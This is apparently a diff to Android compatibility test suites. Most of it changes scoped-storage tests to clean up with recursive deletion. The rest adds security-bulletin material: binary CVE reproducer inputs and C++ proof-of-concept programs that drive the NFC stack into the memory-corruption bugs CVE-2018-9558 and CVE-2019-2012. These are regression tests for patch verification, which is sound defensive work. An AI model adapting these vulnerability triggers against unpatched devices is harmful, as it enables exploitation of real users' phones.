// The following apps are not installed at test startup - please install before using.
private static final TestApp APP_C = new TestApp("TestAppC",
@@ -524,7 +525,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
public void testCreateAndDeleteEmptyDir() throws Exception {
final File externalFilesDir = getExternalFilesDir();
// Remove directory in order to create it again
- externalFilesDir.delete();
+ deleteRecursively(externalFilesDir);
// Can create own external files dir
assertThat(externalFilesDir.mkdir()).isTrue();
@@ -538,9 +539,9 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
assertThat(dir2.mkdir()).isTrue();
// And can delete them all
- assertThat(dir2.delete()).isTrue();
- assertThat(dir1.delete()).isTrue();
- assertThat(externalFilesDir.delete()).isTrue();
+ assertThat(deleteRecursively(dir2)).isTrue();
+ assertThat(deleteRecursively(dir1)).isTrue();
+ assertThat(deleteRecursively(externalFilesDir)).isTrue();
// Can't create external dir for other apps
final File nonexistentPackageFileDir = new File(
@@ -618,7 +619,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
// At this point, we're not sure who created this file, so we'll have both apps
// deleting it
mediaFile.delete();
- dirInDownload.delete();
+ deleteRecursively(dirInDownload);
}
}
@@ -755,7 +756,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
assertThat(dir.list()).asList().doesNotContain(videoFileName);
} finally {
deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath());
- dir.delete();
+ deleteRecursively(dir);
}
}
@@ -787,7 +788,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName);
} finally {
deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath());
- dir.delete();
+ deleteRecursively(dir);
}
}
@@ -1161,7 +1162,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
try {
// Delete the directory if it already exists
if (podcastsDir.exists()) {
- deleteAsLegacyApp(podcastsDir);
+ deleteRecursivelyAsLegacyApp(podcastsDir);
}
assertThat(podcastsDir.exists()).isFalse();
assertThat(podcastsDirLowerCase.exists()).isFalse();
@@ -1582,7 +1583,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
videoFile1.delete();
videoFile2.delete();
videoFile3.delete();
- nonMediaDir.delete();
+ deleteRecursively(nonMediaDir);
}
}
@@ -1758,15 +1759,15 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
} finally {
pdfFile.delete();
- nonMediaDirectory.delete();
+ deleteRecursively(nonMediaDirectory);
videoFile1.delete();
videoFile2.delete();
videoFile3.delete();
- mediaDirectory1.delete();
- mediaDirectory2.delete();
- mediaDirectory3.delete();
- mediaDirectory4.delete();
+ deleteRecursively(mediaDirectory1);
+ deleteRecursively(mediaDirectory2);
+ deleteRecursively(mediaDirectory3);
+ deleteRecursively(mediaDirectory4);
}
}
@@ -1792,7 +1793,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue();
} finally {
deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath());
- mediaDirectory1.delete();
+ deleteRecursively(mediaDirectory1);
+ deleteRecursively(mediaDirectory2);
}
}
@@ -1811,8 +1813,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
assertThat(emptyDirectoryOldPath.mkdirs()).isTrue();
assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null);
} finally {
- emptyDirectoryOldPath.delete();
- emptyDirectoryNewPath.delete();
+ deleteRecursively(emptyDirectoryOldPath);
+ deleteRecursively(emptyDirectoryNewPath);
}
}
@@ -1936,8 +1938,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
} finally {
hiddenImageFile.delete();
imageFile.delete();
- hiddenDir.delete();
- nonHiddenDir.delete();
+ deleteRecursively(hiddenDir);
+ deleteRecursively(nonHiddenDir);
}
}
@@ -1976,7 +1978,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
noMediaFile.delete();
imageFile.delete();
videoFile.delete();
- directoryNoMedia.delete();
+ deleteRecursively(directoryNoMedia);
}
}
@@ -2354,8 +2356,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
otherAppVideoFile2.delete();
otherAppPdfFile1.delete();
otherAppPdfFile2.delete();
- dirInDcim.delete();
- dirInPictures.delete();
+ deleteRecursively(dirInDcim);
+ deleteRecursively(dirInPictures);
denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
}
}
@@ -2479,8 +2481,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
fileSpecialChars.delete();
fileSpecialChars1.delete();
fileSpecialChars2.delete();
- dirSpecialChars.delete();
- renamedDir.delete();
+ deleteRecursively(dirSpecialChars);
+ deleteRecursively(renamedDir);
}
}
@@ -2550,7 +2552,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
} finally {
deleteAsLegacyApp(topLevelDir1);
deleteAsLegacyApp(topLevelDir2);
- nonTopLevelDir.delete();
+ deleteRecursively(nonTopLevelDir);
}
}
@@ -3380,4 +3382,14 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
Log.d(TAG, "Deleting file " + file);
deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath());
}
+
+ /**
+ * Deletes the given file/directory recursively. If the file is a directory, then deletes all
+ * of its children (files or directories) recursively.
+ */
+ private void deleteRecursivelyAsLegacyApp(File dir) throws Exception {
+ // Use a legacy app to delete this directory, since it could be outside shared storage.
+ Log.d(TAG, "Deleting directory " + dir);
+ deleteRecursivelyAs(APP_D_LEGACY_HAS_RW, dir.getAbsolutePath());
+ }
}
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index e3b08bbb5e4..07383ac7a5c 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -33,6 +33,7 @@ import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
import static android.scopedstorage.cts.lib.TestUtils.createImageEntryAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
@@ -351,7 +352,7 @@ public class LegacyStorageTest {
try {
assertThat(newDir.mkdir()).isFalse();
} finally {
- newDir.delete();
+ deleteRecursively(newDir);
}
}
@@ -436,8 +437,8 @@ public class LegacyStorageTest {
pdfFile1.delete();
pdfFile2.delete();
- nonMediaDir1.delete();
- nonMediaDir2.delete();
+ deleteRecursively(nonMediaDir1);
+ deleteRecursively(nonMediaDir2);
}
}
@@ -548,8 +549,8 @@ public class LegacyStorageTest {
// UNIQUE constraint error.
TestUtils.renameWithMediaProvider(directoryOldPath, directoryNewPath);
} finally {
- directoryOldPath.delete();
- directoryNewPath.delete();
+ deleteRecursively(directoryOldPath);
+ deleteRecursively(directoryNewPath);
}
}
@@ -725,7 +726,7 @@ public class LegacyStorageTest {
imageInNoMediaDir.delete();
renamedImageInDCIM.delete();
noMediaFile.delete();
- directoryNoMedia.delete();
+ deleteRecursively(directoryNoMedia);
}
}
@@ -909,7 +910,7 @@ public class LegacyStorageTest {
} finally {
imageFile.delete();
imageFileInTopLevelDir.delete();
- topLevelTestDirectory.delete();
+ deleteRecursively(topLevelTestDirectory);
denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
}
}
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 47c2e9c1f7f..a04b86fed22 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -99,6 +99,7 @@ public class TestUtils {
public static final String CREATE_IMAGE_ENTRY_QUERY =
"android.scopedstorage.cts.createimageentry";
public static final String DELETE_FILE_QUERY = "android.scopedstorage.cts.deletefile";
+ public static final String DELETE_RECURSIVE_QUERY = "android.scopedstorage.cts.deleteRecursive";
public static final String CAN_OPEN_FILE_FOR_READ_QUERY =
"android.scopedstorage.cts.can_openfile_read";
public static final String CAN_OPEN_FILE_FOR_WRITE_QUERY =
@@ -296,6 +297,17 @@ public class TestUtils {
}
/**
+ * Makes the given {@code testApp} delete a file or directory.
+ * If the file is a directory, then deletes all of its children (file or directories)
+ * recursively.
+ *
+ * <p>This method drops shell permission identity.
+ */
+ public static boolean deleteRecursivelyAs(TestApp testApp, String path) throws Exception {
+ return getResultFromTestApp(testApp, path, DELETE_RECURSIVE_QUERY);
+ }
+
+ /**
* Makes the given {@code testApp} delete a file. Doesn't throw in case of failure.
*/
public static boolean deleteFileAsNoThrow(TestApp testApp, String path) {
@@ -966,8 +978,9 @@ public class TestUtils {
final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
callingPackageName, otherApp.getPackageName()));
final File file = new File(otherAppExternalDataDir, fileName);
- assertThat(createFileAs(otherApp, file.getPath())).isTrue();
try {
+ assertThat(createFileAs(otherApp, file.getPath())).isTrue();
+
final ContentValues valuesWithData = new ContentValues();
valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath());
try {
@@ -999,7 +1012,7 @@ public class TestUtils {
} catch (IllegalArgumentException expected) {
}
} finally {
- assertThat(deleteFileAs(otherApp, file.getPath())).isTrue();
+ deleteFileAsNoThrow(otherApp, file.getPath());
}
}
@@ -1019,33 +1032,38 @@ public class TestUtils {
final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
callingPackageName, otherApp.getPackageName()));
final File file = new File(otherAppExternalDataDir, fileName);
- assertThat(createFileAs(otherApp, file.getPath())).isTrue();
- MediaStore.scanFile(getContentResolver(), file);
-
- final ContentValues valuesWithData = new ContentValues();
- valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath());
try {
- int res = getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
- valuesWithData, Bundle.EMPTY);
+ assertThat(createFileAs(otherApp, file.getPath())).isTrue();
+ MediaStore.scanFile(getContentResolver(), file);
- if (throwsExceptionForDataValue) {
- fail("File update expected to fail: " + file);
- } else {
- assertThat(res).isEqualTo(0);
+ final ContentValues valuesWithData = new ContentValues();
+ valuesWithData.put(MediaStore.MediaColumns.DATA, file.getAbsolutePath());
+ try {
+ int res = getContentResolver().update(
+ MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
+ valuesWithData, Bundle.EMPTY);
+
+ if (throwsExceptionForDataValue) {
+ fail("File update expected to fail: " + file);
+ } else {
+ assertThat(res).isEqualTo(0);
+ }
+ } catch (IllegalArgumentException expected) {
}
- } catch (IllegalArgumentException expected) {
- }
- final ContentValues valuesWithRelativePath = new ContentValues();
- final String path = file.getAbsolutePath();
- valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH,
- path.substring(path.indexOf("Android")));
- valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName);
- try {
- getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
- valuesWithRelativePath, Bundle.EMPTY);
- fail("File update expected to fail: " + file);
- } catch (IllegalArgumentException expected) {
+ final ContentValues valuesWithRelativePath = new ContentValues();
+ final String path = file.getAbsolutePath();
+ valuesWithRelativePath.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ path.substring(path.indexOf("Android")));
+ valuesWithRelativePath.put(MediaStore.MediaColumns.DISPLAY_NAME, fileName);
+ try {
+ getContentResolver().update(MediaStore.Files.getContentUri(VOLUME_EXTERNAL),
+ valuesWithRelativePath, Bundle.EMPTY);
+ fail("File update expected to fail: " + file);
+ } catch (IllegalArgumentException expected) {
+ }
+ } finally {
+ deleteFileAsNoThrow(otherApp, file.getPath());
}
}
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 61287450357..ebc8f1047c1 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -32,6 +32,7 @@ import static android.scopedstorage.cts.lib.TestUtils.canReadAndWriteAs;
import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity;
import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir;
@@ -144,7 +145,7 @@ public class ScopedStorageTest {
"CtsScopedStorageTestAppB.apk");
// A legacy targeting app with RES and WES permissions
private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
- "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+ "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk");
@Before
public void setup() throws Exception {
@@ -329,7 +330,8 @@ public class ScopedStorageTest {
final File otherAppExternalDataDir = new File(getExternalFilesDir().getPath().replace(
THIS_PACKAGE_NAME, APP_B_NO_PERMS.getPackageName()));
final File otherAppExternalDataSubDir = new File(otherAppExternalDataDir, "subdir");
- final File otherAppExternalDataFile = new File(otherAppExternalDataSubDir, "abc.jpg");
+ final File otherAppExternalDataFile =
+ new File(otherAppExternalDataSubDir, IMAGE_FILE_NAME);
assertThat(createFileAs(APP_B_NO_PERMS, otherAppExternalDataFile.getAbsolutePath()))
.isTrue();
@@ -519,7 +521,7 @@ public class ScopedStorageTest {
nomediaFile.delete();
mediaFile.delete();
renamedMediaFile.delete();
- nomediaDir.delete();
+ deleteRecursively(nomediaDir);
}
}
@@ -556,8 +558,8 @@ public class ScopedStorageTest {
mediaFile1InSubDir.delete();
mediaFile2InSubDir.delete();
topLevelNomediaFile.delete();
- nomediaSubDir.delete();
- nomediaDir.delete();
+ deleteRecursively(nomediaSubDir);
+ deleteRecursively(nomediaDir);
// Scan the directory to remove stale db rows.
MediaStore.scanFile(getContentResolver(), nomediaDir);
}
@@ -904,8 +906,8 @@ public class ScopedStorageTest {
imageFile.delete();
renamedImageFile.delete();
imageFileInRenamedDir.delete();
- dir.delete();
- renamedDir.delete();
+ deleteRecursively(dir);
+ deleteRecursively(renamedDir);
}
}
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index d3e6ea7c486..7770ebde437 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -29,9 +29,10 @@ java_test_host {
],
// Must match the package name in CtsTestCaseList.mk
libs: [
+ "compatibility-host-util",
"cts-tradefed",
+ "sts-host-util",
"tradefed",
- "compatibility-host-util",
],
}
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
new file mode 100644
index 00000000000..d03c2469bad
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664
new file mode 100644
index 00000000000..21f7d245d99
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39664
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
index e20c0f222d0..8494e2c422d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -23,6 +23,16 @@
#define INITIAL_VALUE 0xBE
#define NUM_BYTES 1
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
extern tRW_CB rw_cb;
void rw_init(void);
void rw_t2t_handle_rsp(uint8_t *p_data);
@@ -33,18 +43,32 @@ void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
}
int main() {
- tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
- rw_init();
- rw_cb.p_cback = &poc_cback;
- p_t2t->state = RW_T2T_STATE_DETECT_TLV;
- p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
- p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
- p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
- p_t2t->bytes_count = NUM_BYTES;
- p_t2t->tlv_value[1] = UINT8_MAX;
- uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
- memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
- uint8_t data[T2T_READ_DATA_LEN];
- rw_t2t_handle_rsp(data);
- return EXIT_SUCCESS;
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = NUM_BYTES;
+ p_t2t->tlv_value[1] = UINT8_MAX;
+ p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+ uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
+ memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
+ uint8_t data[T2T_READ_DATA_LEN];
+ isTestInProgress = true;
+ rw_t2t_handle_rsp(data);
+ isTestInProgress = false;
+ return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
index 2c9502b68aa..78f51bd2e4a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
@@ -15,33 +15,28 @@
*
*/
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
cc_test {
- name: "CVE-2021-0684",
+ name: "CVE-2019-2012",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- header_libs: [
- "libbatteryservice_headers",
- ],
srcs: [
"poc.cpp",
- "TestInputListener.cpp",
":cts_hostsidetests_securitybulletin_memutils",
],
- cflags: [
- "-DCHECK_OVERFLOW",
- "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096",
- "-Wno-unused-parameter",
- ],
- static_libs: [
- "libinputdispatcher",
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux",
],
shared_libs: [
- "libinputflinger_base",
- "libinputreader",
- "libinputflinger",
- "libinputreader",
- "libbase",
- "libinput",
- "liblog",
- "libutils",
+ "libnfc-nci",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
new file mode 100644
index 00000000000..97556ba9501
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit (EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ if (ptr) {
+ memset(ptr, 0x0, size);
+ }
+ return ptr;
+}
+
+/* States */
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+ RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+enum {
+ P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void) event;
+ (void) p_rw_data;
+}
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {
+}
+
+void GKI_stop_timer(uint8_t) {
+}
+
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = { };
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+ GKI_init();
+ rw_init();
+
+ rw_cb.p_cback = &poc_cback;
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
+
+ p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
+
+ p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+ FAIL_CHECK(p_data->data.p_data);
+
+ p_data->status = NFC_STATUS_OK;
+ p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
+ NFC_HDR *p_msg = (p_data->data).p_data;
+ p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+ uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1);
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+ uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+ p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL;
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+ NCI_NFCID2_LEN);
+
+ testInProgress = true;
+ p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
new file mode 100644
index 00000000000..5dac7f7abc3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2019-2017",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
new file mode 100644
index 00000000000..9ecc457f143
--- /dev/null
